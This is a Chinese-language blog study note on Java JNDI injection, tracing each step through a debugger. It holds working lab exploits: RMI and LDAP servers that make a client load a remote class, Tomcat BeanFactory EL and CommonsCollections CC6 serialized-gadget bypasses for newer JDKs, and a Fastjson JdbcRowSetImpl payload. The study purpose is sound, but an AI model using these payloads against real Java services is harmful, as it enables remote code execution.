JNDI注入

JNDI的概念

官方文档:https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

JNDI(Java Naming and Directory Interface) 是 Java 提供的一套统一访问命名和目录服务的 API,用来把“名字”映射成“对象”,方便在 Java 应用中查找和使用各种资源

是一个名字对应一个 Java 对象,也就是一个字符串对应一个 Java 对象

JNDI 在JDK 中支持的四个服务:

  • 轻量级目录访问协议 (LDAP)
  • 通用对象请求代理架构 (CORBA) 通用对象服务 (COS) 命名服务
  • Java 远程方法调用 (RMI) 注册表
  • 域名服务 (DNS)

前三个是字符串对应对象,最后一个是 IP 对应域名

JNDI 可以分为下面五个包:

就是上面的四个服务对应四个包,再加上一个主包

官方文档介绍 JNDI 包:https://docs.oracle.com/javase/tutorial/jndi/overview/naming.html

最重要的就是javax.naming,包含了用于访问命名服务的类和接口

具体的利用方式下面用代码来了解

JNDI 的利用方式与漏洞

1. JNDI 结合 RMI

接口和接口的实现类和 RMI 里一样,代码就不贴了

贴个笔记链接:https://yschen20.github.io/2026/02/12/RMI%E5%9F%BA%E7%A1%80/#RMI%E5%AE%9E%E7%8E%B0

服务端

JNDIRMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.getRegistry(1099);
initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
}
}

客户端

JNDIRMIClient.java

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("Suzen"));
}
}

RMI 原生漏洞

虽然 API 是 JNDI 服务的,但是实际上是调用 RMI 库里的

打断点进行调试,证明一下 JDNI 的 API 实际是调用的 RMI 的库里的原生lookup()方法

Server端先跑起来

image-20260608164029882

然后 Client 端开始初始化InitialContext类的

image-20260608164229129

直接在InitialContext类中的lookup()方法那里下断点,也就是417行这里

image-20260608164449643

这里调用了lookup()方法,跟进去来到GenericURLContext类的lookup()方法

image-20260608164506398

在96行这里又套一个lookup()方法

image-20260608164607775

继续跟进,发现这是RegistryContext类的lookup()方法

image-20260608164657556

这里在93行又有一个lookup()方法

image-20260608165359844

跟进来到RegistryImpl_Skel类,这就是和 RMI 一样的

image-20260608165436566

所以可以说明 JNDI 调用 RMI 服务时,虽然 API 是 JNDI 的,但是最终还是调用的是原生的 RMI 服务

也就是说在 RMI 中存在的漏洞,在 JNDI 中也会存在,但是这并不是 JNDI 的漏洞

通用的漏洞(Normal JNDI)

这个漏洞是 JNDI 注入漏洞,和调用的服务无关,不论调用的 RMI、DNS、LOAP 等等,都会存在这个漏洞,是通用的

**原理:**在服务端调用一个Reference对象,像代理

看一下Reference类的构造函数,有三个参数:

  • 第一个是className类名
  • 第二个是factory
  • 第三个是factoryLocation地址

image-20260608211136219

改一下服务端JNDIRMIServer.java的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
/// RMI原生漏洞
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
/// JNDI 注入漏洞
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

原本最后是直接绑定一个RemoteObjImpl对象

1
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());

现在改成new一个Reference类的方法,然后用rebind去调用

这里会进行远程类加载,加载Calc

1
2
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);

Calc类的代码:

1
2
3
4
5
6
public class JNDICalc {
public JNDICalc() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

然后进行编译

1
javac JNDICalc.java

image-20260608202743621

在这个目录下起一个 HTTP 服务

1
python -m http.server 7777

然后运行 Server 端,再运行 Client 端,最后可以弹出计算器,不过会有一些报错,这是因为Reference没有sayHello这个方法

image-20260608202824385

打断点调试一下,直接断在 Client 的RegistryContext类的lookup()方法这里,开始判断var1是否为空

image-20260608210020976

向 RMI Registry 查对象var1.get(0),也就是remoteObj,这里var2ReferenceWrapper_Stub这个类,这里的lookup()ReferenceWrapper_Stub类的

image-20260608205545936

继续往下来到最后,会调用decodeObject()方法

image-20260608210259652

跟进decodeObject()方法,首先判断是否是Reference对象

image-20260608210358985

然后是调用了DirectoryManager类的getOBjectInstance()方法,这是个初始化的方法

image-20260608211512723

跟进这个方法,首先是判断builder是否为空

image-20260608211634816

跳到下面这里,把refInfo强转换成Reference赋值给ref

image-20260608212134972

继续往下是关于ref的,首先利用getFactoryClassName()方法获取refclassFactory

image-20260608212544445

这里的classFactory就是远程加载的类名JNDICalc

image-20260608212758905

如果ref中定义了factory,就会继续调用getObjectFactoryFromReference()方法去调用reffactory

image-20260608212926038

跟进这个方法,就是执行加载类的loadClass()方法,加载的类是前面获取的classFactory,恶意类JNDICalc

image-20260608213316407

往下就是去获取codebase,调用的getFactoryClassLocation()方法,顾名思义,就是获取factoryLocation地址的

image-20260608213617201

也就是URL:http://localhost:7777/

image-20260608213740593

接着调用helper.loadClass(),就是URLClassLoader动态类加载

image-20260608214022979

image-20260608214058216

最后就是newInstance()执行代码

image-20260608214146486

总的来说攻击点就是 Client 端调用了lookup()方法,然后就是 URLClassLoader 的动态类加载

这个漏洞在 jdk8u121 中被修复,只能调用本地的lookup()方法

2. JNDI结合LDAP

LDAP是什么

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议) 是一种基于 TCP/IP 的应用层协议,用于访问和维护分布式目录信息服务(通常称为”目录服务”或”LDAP目录”)

简单来说:LDAP 是用来集中存储和查询用户信息、组织架构等”目录数据”的协议,最常见用途是企业的统一身份认证(SSO/登录)

LDAP 是一种协议,并不是 Java 独有的

image-20260609094151761

LDAP 的 JNDI 漏洞

起一个 LDAP 的服务,在 Server 端的 pom.xml 中导入 unboundid-ldapsdk的 依赖

1
2
3
4
5
6
7
8
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
</dependencies>

image-20260609094722403

然后是 Server 端的代码

LDAPServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#JNDICalc";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

然后是 Client 端的

JNDILDAPClient.java

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDILDAPClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1234/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

先在之前放JNDICalc恶意类的目录下起一个 HTTP 服务

1
python -m http.server 7777

然后依次运行服务端和客户端

image-20260609102625327

image-20260609102637757

这个攻击还是之前的 Reference

这里下断点调试一下,开始断点还是下在InitialContext类的lookup()方法这里

image-20260609110946543

跟进lookup()方法

image-20260609111043139

继续跟进lookup()方法

image-20260609111121138

继续跟进lookup()方法,来到了PartialCompositeContext类的lookup()方法,这里直接跟进到103行这里,会调用var2.p_lookup()方法

PartialCompositeContext是 JDK 内置的 JNDI 框架类,负责把lookup()的复合名称解析后,转发给具体的协议实现(如 LdapCtx)去执行真正的 LDAP 查询

image-20260609111310144

跟进p_lookup()方法,下面这里会调用this.c_lookup()方法

image-20260609111507971

继续跟进来到LdapCtx.c_lookup(),这里就是真正去连 LDAP,调用decodeObject()方法触发漏洞的地方

image-20260609111613686

在686行这里调用了decodeObject()方法

image-20260609111708352

这里就是和前面常规的 JNDI 注入一样了,这里 LDAP JNDI 注入是从LdapCtx.c_lookup()进入到decodeObject()方法

贴一下前面的图,常规的是从RegistryContext.lookup()进入到decodeObject()方法

image-20260609112341611

后面的就是和前面常规的分析一样了

image-20260609120301827

3. JNDI 结合 CORBA

image-20260609115753689

绕过高版本 JDK 的攻击

1. JDK 版本在 8u191 之前的绕过手段

就是前面分析过的那个通用的漏洞,不管调用什么都会存在这个漏洞

漏洞修复方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 旧版本JDK  
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}


// 新版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}

在使用 URLClassLoader 加载器加载远程类之前加了个if语句检测

判断equalsIgnoreCase(trustURLCodebase)的值是否为true

但是这个的默认值是false,就无法加载codebase,后续攻击链就断了

2. JDK 版本在 8u191 之后的绕过方式

JDK8u192下载地址:Java Archive Downloads - Java SE 8

image-20260616095358648

方法一:利用本地恶意Class作为Reference Factory

就是要服务端本地 ClassPath 中存在恶意 Factory 可以被利用当作 Reference Factory

这个恶意类必须实现javax.naming.spi.ObjectFactory接口和接口中的getObjectInstance()方法

大佬找到org.apache.naming.factory.BeanFactory类满足条件:

  • 实现javax.naming.spi.ObjectFactory接口和接口中的getObjectInstance()方法
  • 存在于 Tomcat8 依赖包中,应用广泛

该类的getObjectInstance()函数中会通过反射的方式实例化 Reference 所指向的任意Bean Class(Bean Class就类似于我们之前说的那个 CommonsBeanUtils 这种,并且会调用setter()方法为所有的属性赋值而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的

**攻击利用:**Tomcat 中的 jar 包为:catalina.jarel-api.jarjasper-el.jar

添加依赖,服务端和客户端都要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.63</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>8.5.63</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.63</version>
</dependency>
</dependencies>

服务端的恶意代码JNDIRMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
/// RMI原生漏洞
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
/// JNDI注入漏洞
// Reference reference = new Reference("JNDICalc","JNDICalc","http://localhost:7777/");
// initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
/// JNDI高版本JDK绕过
ResourceRef resourceRef = new ResourceRef(
"javax.el.ELProcessor",
null,
"",
"",
true,
"org.apache.naming.factory.BeanFactory",
null
);
resourceRef.add(new StringRefAddr("forceString","x=eval"));
resourceRef.add(new StringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
}
}

这段代码构造了一个“伪装成资源的 JNDI Reference”,利用 Tomcat 的 BeanFactory强制调用 ELProcessor.eval(),再通过 JavaScript 引擎执行任意系统命令

客户端:

1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIBypassHighJavaClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/remoteObj";
Context context = new InitialContext();
context.lookup(uri);
}
}

image-20260615205518832

开始调试,在客户端调用lookup()这里下断点

image-20260615210500306

前面的和之前一样一直调用lookup()方法,直接跳到RegistryContext.decodeObject()中调用getObjectInstance()方法这里

image-20260615210641804

跟进getObjectInstance()方法,直接跳到下面这里

image-20260615210836686

跟进getObjectFactoryFromReference()方法,往下走不会进入到上面那个if中去loadClass,而是会到下面进行实例化,然后强制转换成ObjectFactory类型,所以传入的 Factory 类必须实现 ObjectFactory 接口类、而 org.apache.naming.factory.BeanFactory 正好满足这一点

image-20260615210957396

出来后走到下面这里

image-20260615211338099

继续跟进getObjectInstance()方法,这里会先判断参数obj是否是ResourceRef类实例,是的话才会继续往下走,所以在服务端构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例

image-20260616101517862

然后是赋值,再执行loadClass()方法,beanClass赋值为javax.el.ELProcessor,也就是 Bean 类

image-20260616101603682

beanClass进行实例化,然后获取到其中的forceString

image-20260616101649187

也就是构造的x=eval

image-20260616101704972

到下面这里会看一下param(就是forceString)中是否存在=

image-20260616101725402

存在=号,所以index值为1

image-20260616101736746

就会进入到if中,把属性名x和要调用的强制方法名eval拆分开来,最后就是拿到下面这俩

作用是告诉 BeanFactory:当设置属性x时,不要调用setX(),而是强制调用eval()方法

image-20260616103938290

然后就是获取beanClasseval()方法和x属性一起缓存到forced这个 HashMap 中

image-20260616111810431

继续往下,使用while循环遍历获取 ResourceRef 类实例 addr 属性的元素

image-20260616112934874

调用getContent()方法来获取x属性对应的contents即恶意表达式

image-20260616113254317

然后从forced中获取keyx的值赋值给method变量

image-20260616113444282

也就是eval

image-20260616113609078

然后就是反射调用执行构造的恶意表达式

image-20260616113627424

方法二:利用 LDAP 返回序列化数据,触发本地 Gadget

LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象

如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化

此时,如果服务端 ClassPath 中存在反序列化的多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击

先用之前学习 CC 链的时候的EXP生成个payload,或者用 ysoserial 工具,这里用 CC6 的链子

1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0ABFnZXREZWNsYXJlZE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AHHNxAH4AE3VxAH4AGAAAAAJwcHQABmludm9rZXVxAH4AHAAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABhzcQB+ABN1cQB+ABgAAAABdAAEY2FsY3QABGV4ZWN1cQB+ABwAAAABcQB+AB9zcQB+AAA/QAAAAAAAAHcIAAAAEAAAAAB4eHQAAzEyM3g=

服务端和客户端都要加依赖:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

恶意 LDAP 服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDIGadgetServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {

String url = "http://127.0.0.1:7777/#JNDICalc";
int port = 1234;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: 返回序列化Gadget
try {
String payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0ABFnZXREZWNsYXJlZE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AHHNxAH4AE3VxAH4AGAAAAAJwcHQABmludm9rZXVxAH4AHAAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABhzcQB+ABN1cQB+ABgAAAABdAAEY2FsY3QABGV4ZWN1cQB+ABwAAAABcQB+AB9zcQB+AAA/QAAAAAAAAHcIAAAAEAAAAAB4eHQAAzEyM3g=";
e.addAttribute("javaSerializedData", Base64.decode(payload));
} catch (ParseException exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

客户端:

这里用的lookup方法,还有个 Fastjson 的还没学,之后再看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIGadgetClient {
public static void main(String[] args) throws Exception {
/// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/JNDICalc");

/// Fastjson反序列化JNDI注入Gadget触发
// String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/JNDICalc\",\"autoCommit\":\"true\" }";
// JSON.parse(payload);
}
}

image-20260616150808377

调试一下,直接跳到调用decodeObject()方法这里

image-20260616145743952

跟进来到调用deserializeObject()这里,顾名思义是反序列化的地方

image-20260616153044156

跟进可以看到熟悉的readObject()方法

image-20260616154229557

image-20260616154625337

参考学习文章

Java反序列化之JNDI学习


JNDI注入
https://yschen20.github.io/2026/06/16/JNDI注入/
作者
Suzen
发布于
2026年6月16日
更新于
2026年6月16日
许可协议